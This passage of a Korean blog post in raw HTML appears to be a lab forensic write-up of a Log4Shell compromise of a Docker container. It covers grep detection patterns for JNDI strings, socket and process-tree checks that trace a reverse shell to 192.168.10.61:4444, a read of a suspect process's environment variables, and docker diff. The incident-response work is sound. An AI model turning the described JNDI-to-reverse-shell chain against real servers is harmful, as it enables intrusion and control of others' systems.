&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;핵심 공격 구문 탐색&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1770922795799&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 1. 기본적인 JNDI 호출 및 변칙 패턴(${) 검색
grep -E &quot;\$\{|\{jndi:&quot; log4j_analysis.log&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1860&quot; data-origin-height=&quot;120&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bh1fQx/dJMcafS4rsZ/BLPKC5ZjPrTgxgTGeFvKNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bh1fQx/dJMcafS4rsZ/BLPKC5ZjPrTgxgTGeFvKNK/img.png&quot; data-alt=&quot;분석 내용 : 공격자 정보 추출 악성 서버는 192.168.10.56 (또는 10.55) &amp;amp;rarr; 공격자가 미리 준비해둔 JNDI 서버. 최종 목적지는 192.168.10.61:4444 &amp;amp;rarr; 페이로드 마지막 부분에 있는 이 주소가 공격자가 서버의 권한을 획득한 뒤 연결 받은 자신의 PC(C2 PC)의 IP와 포트 번호임을 알 수 있음&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bh1fQx/dJMcafS4rsZ/BLPKC5ZjPrTgxgTGeFvKNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbh1fQx%2FdJMcafS4rsZ%2FBLPKC5ZjPrTgxgTGeFvKNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1860&quot; height=&quot;120&quot; data-origin-width=&quot;1860&quot; data-origin-height=&quot;120&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;분석 내용 : 공격자 정보 추출 악성 서버는 192.168.10.56 (또는 10.55) &amp;rarr; 공격자가 미리 준비해둔 JNDI 서버. 최종 목적지는 192.168.10.61:4444 &amp;rarr; 페이로드 마지막 부분에 있는 이 주소가 공격자가 서버의 권한을 획득한 뒤 연결 받은 자신의 PC(C2 PC)의 IP와 포트 번호임을 알 수 있음&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실제 공격 성공 여부 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1770922882874&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 컨테이너 내부에서 현재 외부(공격자)와 연결된 네트워크 세션이 있는지 확인
docker exec 94d2c2f536ac netstat -antp | grep ESTABLISHED&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;86&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BztW5/dJMcaihWCAj/RZbSIGtfD7KMJEwlKYRCz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BztW5/dJMcaihWCAj/RZbSIGtfD7KMJEwlKYRCz0/img.png&quot; data-alt=&quot;공격자의 IP(192.168.10.61)로 연결된 세션이 있기 때문에 리버스 쉘이 성공했다는 것을 알 수 있음&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BztW5/dJMcaihWCAj/RZbSIGtfD7KMJEwlKYRCz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBztW5%2FdJMcaihWCAj%2FRZbSIGtfD7KMJEwlKYRCz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;86&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;86&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;공격자의 IP(192.168.10.61)로 연결된 세션이 있기 때문에 리버스 쉘이 성공했다는 것을 알 수 있음&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2단계 : 아웃바운드 콜백 탐지 (L4)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 서버가 공격자의 LDAP 서버로 접속을 시도 했던 네트워크 흔적 확보&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 컨테이너 네트워크 소켓 상태, 어플리케이션 에러 로그 확인&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt; 잔류 세션 및 실시간 연결 확인 &lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 공격이 성공했다면 서버는 공격자의 LDAP 서버(138포트)에 접속했거나 리버스쉘 송격을 통해서 공격자의 PC에 연결되었을 것&lt;/p&gt;
&lt;pre id=&quot;code_1771086898876&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 컨테이너 내부의 네트워크 소켓 상태 확인
# 1389, 389, 1099(LDAP/RMI) 뿐만 아니라 로그에서 확인된 4444, 9001 포트도 함께 검색합니다.
docker exec 94d2c2f536ac ss -antp | grep -E &quot;1389|389|1099|4444|9001&quot;

# ss도구가 없어서 다른 방법으로 
# 컨테이너 내부에서 수동으로 확인 시
docker exec 94d2c2f536ac cat /proc/net/tcp&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1207&quot; data-origin-height=&quot;103&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VZzN6/dJMcahXFbFi/4Me28oh7zr0agEKrEh2PL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VZzN6/dJMcahXFbFi/4Me28oh7zr0agEKrEh2PL1/img.png&quot; data-alt=&quot;첫 번째 연결 (sl 0): 020011AC:D434 &amp;amp;rarr; 3D0AA8C0:115C (공격자) 내 서버: 172.17.0.2 (Docker 내부 IP) 공격자: 192.168.10.61 포트: 4444 (16진수 115C = 10진수 4444) 상태(st): 01 (ESTABLISHED, 연결 완료) 두 번째 연결 (sl 1): 020011AC:D2CA &amp;amp;rarr; 380AA8C0:115C (공격자) 공격자: 192.168.10.56 포트: 4444 상태(st): 01 (ESTABLISHED, 연결 완료)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VZzN6/dJMcahXFbFi/4Me28oh7zr0agEKrEh2PL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVZzN6%2FdJMcahXFbFi%2F4Me28oh7zr0agEKrEh2PL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1207&quot; height=&quot;103&quot; data-origin-width=&quot;1207&quot; data-origin-height=&quot;103&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;첫 번째 연결 (sl 0): 020011AC:D434 &amp;rarr; 3D0AA8C0:115C (공격자) 내 서버: 172.17.0.2 (Docker 내부 IP) 공격자: 192.168.10.61 포트: 4444 (16진수 115C = 10진수 4444) 상태(st): 01 (ESTABLISHED, 연결 완료) 두 번째 연결 (sl 1): 020011AC:D2CA &amp;rarr; 380AA8C0:115C (공격자) 공격자: 192.168.10.56 포트: 4444 상태(st): 01 (ESTABLISHED, 연결 완료)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 공격자(192.168.10.61, 192.168.10.56)가 리버스 쉘을 통해 victim 컨테이너에 실시간으로 접속해 있는 상태임을 알 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt; 로그 내 연결 실패 흔적 분석&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 공격자의 LDAP 서버가 일시적으로 꺼져 있었거나 네트워크가 차단된다면 자바 애플리케이션 로그에 통신 에러가 남음&lt;/p&gt;
&lt;pre id=&quot;code_1771086989342&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# &quot;LDAP&quot; 또는 &quot;JNDI&quot; 관련 에러 메시지 정밀 수색
grep -Ei &quot;LDAP|JNDI|Error looking up&quot; log4j_analysis.log
# 에러 메시지만 따로 모아서 확인하기
grep -Ei &quot;NamingException|Connection refused|Connection timed out&quot; log4j_analysis.log&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1868&quot; data-origin-height=&quot;216&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/H6qiw/dJMcagEtoFZ/kr1d9Fk63Mw2BcPufUVmoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/H6qiw/dJMcagEtoFZ/kr1d9Fk63Mw2BcPufUVmoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/H6qiw/dJMcagEtoFZ/kr1d9Fk63Mw2BcPufUVmoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FH6qiw%2FdJMcagEtoFZ%2Fkr1d9Fk63Mw2BcPufUVmoK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1868&quot; height=&quot;216&quot; data-origin-width=&quot;1868&quot; data-origin-height=&quot;216&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위 내용을 보면 두가지를 알 수 있다. 첫번째로는 NamingException&amp;amp;ClassCastException이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1865&quot; data-origin-height=&quot;223&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dXB8aD/dJMcadgEs1k/DRIumrZKiWK7xle9lJTnd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dXB8aD/dJMcadgEs1k/DRIumrZKiWK7xle9lJTnd1/img.png&quot; data-alt=&quot;NamingException &amp;amp;amp; ClassCastException (공격 성공의 신호)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dXB8aD/dJMcadgEs1k/DRIumrZKiWK7xle9lJTnd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdXB8aD%2FdJMcadgEs1k%2FDRIumrZKiWK7xle9lJTnd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1865&quot; height=&quot;223&quot; data-origin-width=&quot;1865&quot; data-origin-height=&quot;223&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;NamingException &amp;amp; ClassCastException (공격 성공의 신호)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그 내용을 보면 서버가 공격자의 LDAP 서버에서 악성 자바 클래스(Exploit)를 다운로드해서 메모리에 올리는데 성공했다는 것을 확인할 수 있습니다. 마지막에 java.lang.ClassCastExeption~~하면서 행변환 오류가 있지만 공격은 이 에러가 나기 전에 이미 악성 코드를 실행하기 때문에 이 에러가 보여도 공격 코드는 이미 작동한 것입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1870&quot; data-origin-height=&quot;219&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2Zo9O/dJMcagdoSQ2/sPCxjj6v0yKkbttcF6jpkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2Zo9O/dJMcagdoSQ2/sPCxjj6v0yKkbttcF6jpkK/img.png&quot; data-alt=&quot;Connection timed out (연결 실패 흔적)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2Zo9O/dJMcagdoSQ2/sPCxjj6v0yKkbttcF6jpkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2Zo9O%2FdJMcagdoSQ2%2FsPCxjj6v0yKkbttcF6jpkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1870&quot; height=&quot;219&quot; data-origin-width=&quot;1870&quot; data-origin-height=&quot;219&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Connection timed out (연결 실패 흔적)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중간에 보면 Connection time out 이 있는데 이 로그는 이 시간대에 공격자가 던진 12.168.10.55:1389로 서버가 접속을 시도하였지만 실패했다는 뜻입니다. 아마 이때 LDAP 가 잠깐 꺼져 있었을 가능성이 높다고 생각하였고 연결 실패 흔적은 있지만 공격자의 IP가 잘 찍혀있기 때문에 페이로드 시행을 시도했다는 확증은 이미 있는 상태입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;악성 클래스 다운로드 단계 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: Log4Shell 공격은 LDAP 접속&amp;rarr; 악성 Java 클래서 경로 수신 &amp;rarr; HTTP로 클래스 다운로드 순서로 진행되기 때문에 보통 공격자들은 HTTP 서버를 8888포트 등으로 열어둠&lt;/p&gt;
&lt;pre id=&quot;code_1771088671904&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 80, 443, 8888 등 일반적인 웹 포트로 나간 이력이 있는지 확인
docker exec 94d2c2f536ac ss -antp | grep -E &quot;:80 |:443 |:8888&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이에 대한 로그가 출력되지는 않았지만, 아마 파일 다운로드는 1초도 안걸리는 짧은 동작이라서 다운로드가 완료되는 순간 연결이 끊겨 목록에서 사라진 것이라고 생각했습니다. 즉, 사라진 것이지 시도가 없어진 것은 아니라고 판단하였습니다. 하지만 이 부분 역시 이전에 검증하였기 때문에 흔적은 없어도 됩니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 3단계 : 커널 레벨 실행 및 프로세스 트리 분석(OS)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 자바 프로세스가 비정상적인 자식프로세스를 실행했는지 증명&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;프로세스 계층 구조 분석&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1771088824473&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 컨테이너 내부의 프로세스 트리 확인
docker exec 94d2c2f536ac ps -ef --forest

# 컨테이너가 아주 가벼운 환경이라 나무모양으로 보여주는 기능이 없어서 
# 그냥 전체 목록 뽑아서 부모-자식 관계 찾아내기
docker exec 94d2c2f536ac ps -ef&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;158&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mZsqk/dJMcafS5d1y/87LuAlG4KoG9P8T7Vbxvt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mZsqk/dJMcafS5d1y/87LuAlG4KoG9P8T7Vbxvt0/img.png&quot; data-alt=&quot;침투 시작 (PID 1): 보안 취약점이 있는 Java 기반 애플리케이션이 실행 중입니다. 권한 획득 (PID 63): 공격자가 취약점을 이용해 시스템 명령을 내릴 수 있는 첫 번째 쉘(/bin/sh)을 실행했습니다. 외부 연결 (PID 130): 서버의 제어권을 공격자 PC(192.168.10.61:4444)로 넘겨주는 리버스 쉘 명령이 수행되었습니다. 완전 장악 (PID 131): 공격자가 자유롭게 명령어를 입력할 수 있는 대화형 쉘이 열려, 현재 실시간으로 조작 중인 상태입니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mZsqk/dJMcafS5d1y/87LuAlG4KoG9P8T7Vbxvt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmZsqk%2FdJMcafS5d1y%2F87LuAlG4KoG9P8T7Vbxvt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;768&quot; height=&quot;158&quot; data-origin-width=&quot;768&quot; data-origin-height=&quot;158&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;침투 시작 (PID 1): 보안 취약점이 있는 Java 기반 애플리케이션이 실행 중입니다. 권한 획득 (PID 63): 공격자가 취약점을 이용해 시스템 명령을 내릴 수 있는 첫 번째 쉘(/bin/sh)을 실행했습니다. 외부 연결 (PID 130): 서버의 제어권을 공격자 PC(192.168.10.61:4444)로 넘겨주는 리버스 쉘 명령이 수행되었습니다. 완전 장악 (PID 131): 공격자가 자유롭게 명령어를 입력할 수 있는 대화형 쉘이 열려, 현재 실시간으로 조작 중인 상태입니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;의심 프로세스는 총 3개를 탐지하였습니다. 리버스쉘 실행주체인 PID 130, 공격자가 사용한 인터렉티브 쉘인 PID 131, 중간 매개체인 PID 63을 확인하였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로세스 실행 환경 같은 경우에는 권한 부분에서는 모든 의심 프로세스가 root사용자로 실행중임을 알 수 있고&amp;nbsp; 부모 프로세스가 PID1이고 자식프로세스가 PID63에서 PID130 으로 이어진 것을 확인하였습니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이와 관련하여서 추가적으로 정밀 분석을 하였습니다. 환경 변수, 실행 경로 등을 확인하기 위해 다음과 같은 추가 명령어를 실행시켰습니다.&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1771089942460&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 의심 프로세스의 실제 바이너리 경로 확인
docker exec 94d2c2f536ac ls -l /proc/130/exe

# 공격자가 설정한 환경 변수 확인 (비밀번호나 API 키 탈취 여부 확인)
docker exec 94d2c2f536ac cat /proc/130/environ

# 공격자가 현재 열어두고 있는 파일 확인
docker exec 94d2c2f536ac ls -l /proc/130/fd&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;782&quot; data-origin-height=&quot;63&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KE8lP/dJMcahcheYt/Bl3wdcKx3KcJiRnnGlMLeK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KE8lP/dJMcahcheYt/Bl3wdcKx3KcJiRnnGlMLeK/img.png&quot; data-alt=&quot;/proc/130/exe 는 해당 프로세스가 실행중인 바이너리 파일을 가르킴&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KE8lP/dJMcahcheYt/Bl3wdcKx3KcJiRnnGlMLeK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKE8lP%2FdJMcahcheYt%2FBl3wdcKx3KcJiRnnGlMLeK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;782&quot; height=&quot;63&quot; data-origin-width=&quot;782&quot; data-origin-height=&quot;63&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;/proc/130/exe 는 해당 프로세스가 실행중인 바이너리 파일을 가르킴&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인결과, /bin/bash를 가르킴. 즉, 다른 이름으로 위장한 프로그램이 아니라 시스템 표준 Bash 쉘을 그대로 사용중이라는 의미입니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1868&quot; data-origin-height=&quot;85&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7qwmg/dJMcafrZ0lX/KWHss38QrSWwgZYNrB8CpK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7qwmg/dJMcafrZ0lX/KWHss38QrSWwgZYNrB8CpK/img.png&quot; data-alt=&quot;프로세스가 시작될 때 가지고 있던 환경 변수들로 보통 자식 프로세스는 부모 프로세스의 환경 변수를 상속 받음 JAVA_HOME=/usr/lib/jvm/java-1.8-openjdk, JAVA_VERSION=8u181 등의 변수가 보임&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7qwmg/dJMcafrZ0lX/KWHss38QrSWwgZYNrB8CpK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7qwmg%2FdJMcafrZ0lX%2FKWHss38QrSWwgZYNrB8CpK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1868&quot; height=&quot;85&quot; data-origin-width=&quot;1868&quot; data-origin-height=&quot;85&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;프로세스가 시작될 때 가지고 있던 환경 변수들로 보통 자식 프로세스는 부모 프로세스의 환경 변수를 상속 받음 JAVA_HOME=/usr/lib/jvm/java-1.8-openjdk, JAVA_VERSION=8u181 등의 변수가 보임&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 Bash 쉘은 일반적인 로그인 과정을 거친게 아니라 취약한 java 애플리케이션 환경(PID1)의 환경을 그대로 물려받아 실행되었음을 입증할 수 있습니다. 즉, java 앱 내부에서 쉘이 터져나왔다는 증거 입니다.&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;772&quot; data-origin-height=&quot;116&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/F3h9o/dJMcaaYwHg0/FKltttc0gyo29g5T2n13w0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/F3h9o/dJMcaaYwHg0/FKltttc0gyo29g5T2n13w0/img.png&quot; data-alt=&quot;프로세스가 현재 열어두고 있는 파일이나 통신 경로를 보여줌 0 : 입력 / 1: 출력 / 2: 에러 0, 1, 2 번 모두가 pipe:[677787]와 같은 파이프로 연결되어 있음&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/F3h9o/dJMcaaYwHg0/FKltttc0gyo29g5T2n13w0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FF3h9o%2FdJMcaaYwHg0%2FFKltttc0gyo29g5T2n13w0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;772&quot; height=&quot;116&quot; data-origin-width=&quot;772&quot; data-origin-height=&quot;116&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;프로세스가 현재 열어두고 있는 파일이나 통신 경로를 보여줌 0 : 입력 / 1: 출력 / 2: 에러 0, 1, 2 번 모두가 pipe:[677787]와 같은 파이프로 연결되어 있음&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적인 터미널 쉘이라면 /dev/pts/0과 같은 터미널 장치와 연결되어있어야 합니다. 즉, 모두 파이프로 연결되어 있다는 점은 이 쉘의 입출력이 네트워크 소켓(공격자의 4444포트)로 리다이렉션 되어있음을 물리적으로 증명합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 4단계 : 포렌식 및 흔적&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일 시스템 변경점 추출&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 컨테이너가 처음 실행된 시점 대비 현재 변경된 모든 파일 목록을 보여주는 포렌식&lt;/p&gt;
&lt;pre id=&quot;code_1771131075171&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 호스트 OS(VMware) 터미널에서 실행
docker diff 94d2c2f536ac&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;621&quot; data-origin-height=&quot;295&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cAnFf8/dJMcagdo2BK/yjzJnlMox7oNLEgduERw7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cAnFf8/dJMcagdo2BK/yjzJnlMox7oNLEgduERw7k/img.png&quot; data-alt=&quot;docker diff 결과에서 A (Added)는 새로 생성된 파일, C(Changed)는 수정된 파일&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cAnFf8/dJMcagdo2BK/yjzJnlMox7oNLEgduERw7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcAnFf8%2FdJMcagdo2BK%2FyjzJnlMox7oNLEgduERw7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; 